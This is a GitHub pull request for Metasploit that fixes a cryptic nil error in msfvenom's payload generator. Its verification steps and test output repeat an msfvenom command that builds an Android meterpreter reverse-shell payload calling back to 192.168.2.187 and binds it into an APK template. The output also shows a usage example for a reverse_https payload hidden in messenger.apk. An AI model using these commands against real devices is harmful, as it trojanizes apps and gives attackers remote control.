Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update payload_generator.rb to properly check if payload_module is nil #13951

Merged
merged 1 commit into from
Aug 14, 2020

Conversation

gwillcox-r7
Copy link
Contributor

@gwillcox-r7 gwillcox-r7 commented Aug 7, 2020

This fixes #13156 by fixing up the code of lib/msf/core/payload_generator.rb so that if the payload_module global variable is nil, an exception is raised. This prevents potential nil reference errors like the one mentioned in #13156.

Verification

List the steps needed to make sure this thing works

Before patch:

  • Run: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
  • Verify that you see the message Error: undefined method 'datastore' for nil:NilClass

After patch:

  • Run: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
  • Verify that you see the message Error: A payload module was not selected

@gwillcox-r7
Copy link
Contributor Author

After talking with @wvu-r7 about this further looks like my changes completely missed the mark on fixing the root issue. Will be updating this PR shortly with some fixes to actually try and address the root cause, which is that payload_module can sometimes become nil, which will result in the call payload_module.database failing.

@gwillcox-r7
Copy link
Contributor Author

Ok applied proper fixes now. Also updated the PR description to describe the new error message that should be encountered.

@gwillcox-r7 gwillcox-r7 changed the title Update payload_generator.rb to Bail if datastore Argument is nil or Empty Update payload_generator.rb to properly check if payload_module is nil Aug 12, 2020
@smcintyre-r7 smcintyre-r7 self-assigned this Aug 14, 2020
@gwillcox-r7
Copy link
Contributor Author

@smcintyre-r7 Rebased to remove erroneous commits not related to the issue as per our discussion.

@smcintyre-r7
Copy link
Contributor

Output from the last test showing the meaningful error message:

./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
Attempting to read payload from STDIN...
Using APK template: ./Terminus.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[-] Usage: ./msfvenom -x [target.apk] [msfvenom options]
[-] e.g. ./msfvenom -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
Error: Invalid template: ./Terminus.apk
Error: A payload module was not selected

I'll land this once the unit tests pass.

@smcintyre-r7 smcintyre-r7 merged commit 2c8b01d into rapid7:master Aug 14, 2020
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Aug 14, 2020

Release Notes

Fixed a bug where msfvenom would throw a cryptic error message when invoked without specifying a required payload.

@gwillcox-r7 gwillcox-r7 deleted the fix_nil_datastore branch August 14, 2020 22:57
@adfoster-r7 adfoster-r7 added the rn-fix release notes fix label Aug 24, 2020
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug library rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Error: undefined method `datastore' for nil:NilClass
4 participants